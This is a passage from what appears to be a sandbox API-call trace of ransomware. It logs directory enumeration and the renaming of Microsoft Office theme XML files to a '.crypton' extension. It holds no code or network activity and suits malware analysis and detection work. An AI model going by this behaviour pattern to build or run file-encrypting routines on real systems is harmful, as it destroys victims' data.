dwFlags=0x2) returned 1 [0086.468] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Grayscale.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\grayscale.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Grayscale.xml.crypton" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\grayscale.xml.crypton"), dwFlags=0x2) returned 1 [0086.471] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Grid.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\grid.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Grid.xml.crypton" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\grid.xml.crypton"), dwFlags=0x2) returned 1 [0086.474] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Hardcover.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\hardcover.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Hardcover.xml.crypton" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\hardcover.xml.crypton"), dwFlags=0x2) returned 1 [0086.477] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Horizon.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\horizon.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Horizon.xml.crypton" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\horizon.xml.crypton"), dwFlags=0x2) returned 1 [0086.480] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Median.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\median.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Median.xml.crypton" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\median.xml.crypton"), dwFlags=0x2) returned 1 [0086.482] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Metro.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\metro.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Metro.xml.crypton" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\metro.xml.crypton"), dwFlags=0x2) returned 1 [0086.486] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Module.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\module.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Module.xml.crypton" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\module.xml.crypton"), dwFlags=0x2) returned 1 [0086.488] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Newsprint.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\newsprint.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Newsprint.xml.crypton" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\newsprint.xml.crypton"), dwFlags=0x2) returned 1 [0086.491] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Opulent.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\opulent.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Opulent.xml.crypton" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\opulent.xml.crypton"), dwFlags=0x2) returned 1 [0086.494] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Oriel.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\oriel.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Oriel.xml.crypton" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\oriel.xml.crypton"), dwFlags=0x2) returned 1 [0086.497] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Origin.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\origin.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Origin.xml.crypton" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\origin.xml.crypton"), dwFlags=0x2) returned 1 [0086.502] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Paper.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\paper.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Paper.xml.crypton" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\paper.xml.crypton"), dwFlags=0x2) returned 1 [0086.505] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Perspective.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\perspective.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Perspective.xml.crypton" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\perspective.xml.crypton"), dwFlags=0x2) returned 1 [0086.508] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Pushpin.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\pushpin.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Pushpin.xml.crypton" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\pushpin.xml.crypton"), dwFlags=0x2) returned 1 [0086.511] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Slipstream.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\slipstream.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Slipstream.xml.crypton" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\slipstream.xml.crypton"), dwFlags=0x2) returned 1 [0086.513] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Solstice.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\solstice.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Solstice.xml.crypton" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\solstice.xml.crypton"), dwFlags=0x2) returned 1 [0086.517] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Technic.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\technic.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Technic.xml.crypton" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\technic.xml.crypton"), dwFlags=0x2) returned 1 [0086.520] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Thatch.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\thatch.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Thatch.xml.crypton" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\thatch.xml.crypton"), dwFlags=0x2) returned 1 [0086.522] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Trek.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\trek.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Trek.xml.crypton" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\trek.xml.crypton"), dwFlags=0x2) returned 1 [0086.525] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Urban.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\urban.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Urban.xml.crypton" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\urban.xml.crypton"), dwFlags=0x2) returned 1 [0086.528] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Verve.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\verve.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Verve.xml.crypton" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\verve.xml.crypton"), dwFlags=0x2) returned 1 [0086.531] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Waveform.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\waveform.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Waveform.xml.crypton" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\waveform.xml.crypton"), dwFlags=0x2) returned 1 [0086.536] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb0f016a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xb0f016a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3000201, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0086.542] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528a9ed0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb0f016a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xb0f016a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3000201, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0086.547] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Adjacency.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\adjacency.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Adjacency.xml.crypton" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\adjacency.xml.crypton"), dwFlags=0x2) returned 1 [0086.551] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Angles.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\angles.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Angles.xml.crypton" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\angles.xml.crypton"), dwFlags=0x2) returned 1 [0086.556] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Apex.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\apex.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Apex.xml.crypton" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\apex.xml.crypton"), dwFlags=0x2) returned 1 [0086.560] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Apothecary.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\apothecary.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Apothecary.xml.crypton" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\apothecary.xml.crypton"), dwFlags=0x2) returned 1 [0086.567] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Aspect.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\aspect.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Aspect.xml.crypton" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\aspect.xml.crypton"), dwFlags=0x2) returned 1 [0086.572] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Austin.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\austin.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Austin.xml.crypton" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\austin.xml.crypton"), dwFlags=0x2) returned 1 [0086.582] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Black Tie.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\black tie.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Black Tie.xml.crypton" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\black tie.xml.crypton"), dwFlags=0x2) returned 1 [0086.587] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Civic.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\civic.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Civic.xml.crypton" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\civic.xml.crypton"), dwFlags=0x2) returned 1 [0086.591] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Clarity.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\clarity.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Clarity.xml.crypton" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\clarity.xml.crypton"), dwFlags=0x2) returned 1 [0086.595] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Composite.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\composite.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Composite.xml.crypton" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\composite.xml.crypton"), dwFlags=0x2) returned 1 [0086.599] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Concourse.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\concourse.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Concourse.xml.crypton" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\concourse.xml.crypton"), dwFlags=0x2) returned 1 [0086.603] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Couture.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\couture.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Couture.xml.crypton" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\couture.xml.crypton"), dwFlags=0x2) returned 1 [0086.607] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Elemental.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\elemental.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Elemental.xml.crypton" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\elemental.xml.crypton"), dwFlags=0x2) returned 1 [0086.611] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Equity.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\equity.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Equity.xml.crypton" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\equity.xml.crypton"), dwFlags=0x2) returned 1 [0086.615] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Essential.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\essential.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Essential.xml.crypton" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\essential.xml.crypton"), dwFlags=0x2) returned 1 [0086.619] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Executive.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\executive.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Executive.xml.crypton" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\executive.xml.crypton"), dwFlags=0x2) returned 1 [0086.623] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Flow.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\flow.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Flow.xml.crypton" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\flow.xml.crypton"), dwFlags=0x2) returned 1 [0086.628] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Foundry.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\foundry.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Foundry.xml.crypton" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\foundry.xml.crypton"), dwFlags=0x2) returned 1 [0086.635] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Grid.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\grid.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Grid.xml.crypton" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\grid.xml.crypton"), dwFlags=0x2) returned 1 [0086.639] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Hardcover.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\hardcover.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Hardcover.xml.crypton" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\hardcover.xml.crypton"), dwFlags=0x2) returned 1 [0086.643] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Horizon.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\horizon.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Horizon.xml.crypton" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\horizon.xml.crypton"), dwFlags=0x2) returned 1 [0086.647] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Median.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\median.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Median.xml.crypton" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\median.xml.crypton"), dwFlags=0x2) returned 1 [0086.651] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Metro.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\metro.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Metro.xml.crypton" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\metro.xml.crypton"), dwFlags=0x2) returned 1 [0086.656] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Module.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\module.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Module.xml.crypton" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\module.xml.crypton"), dwFlags=0x2) returned 1 [0086.660] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Newsprint.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\newsprint.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Newsprint.xml.crypton" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\newsprint.xml.crypton"), dwFlags=0x2) returned 1 [0086.664] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office 2.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\office 2.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office 2.xml.crypton" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\office 2.xml.crypton"), dwFlags=0x2) returned 1 [0086.669] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic 2.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\office classic 2.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic 2.xml.crypton" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\office classic 2.xml.crypton"), dwFlags=0x2) returned 1 [0086.673] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\office classic.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic.xml.crypton" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\office classic.xml.crypton"), dwFlags=0x2) returned 1 [0086.676] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Opulent.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\opulent.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Opulent.xml.crypton" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\opulent.xml.crypton"), dwFlags=0x2) returned 1 [0086.680] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Oriel.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\oriel.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Oriel.xml.crypton" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\oriel.xml.crypton"), dwFlags=0x2) returned 1 [0086.684] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Origin.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\origin.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Origin.xml.crypton" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\origin.xml.crypton"), dwFlags=0x2) returned 1 [0086.689] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Paper.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\paper.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Paper.xml.crypton" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\paper.xml.crypton"), dwFlags=0x2) returned 1 [0086.693] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Perspective.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\perspective.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Perspective.xml.crypton" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\perspective.xml.crypton"), dwFlags=0x2) returned 1 [0086.700] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Pushpin.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\pushpin.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Pushpin.xml.crypton" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\pushpin.xml.crypton"), dwFlags=0x2) returned 1 [0086.704] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Slipstream.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\slipstream.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Slipstream.xml.crypton" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\slipstream.xml.crypton"), dwFlags=0x2) returned 1 [0086.708] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Solstice.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\solstice.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Solstice.xml.crypton" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\solstice.xml.crypton"), dwFlags=0x2) returned 1 [0086.712] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Technic.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\technic.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Technic.xml.crypton" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\technic.xml.crypton"), dwFlags=0x2) returned 1 [0086.716] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Thatch.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\thatch.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Thatch.xml.crypton" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\thatch.xml.crypton"), dwFlags=0x2) returned 1 [0086.720] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Trek.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\trek.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Trek.xml.crypton" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\trek.xml.crypton"), dwFlags=0x2) returned 1 [0086.725] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Urban.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\urban.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme 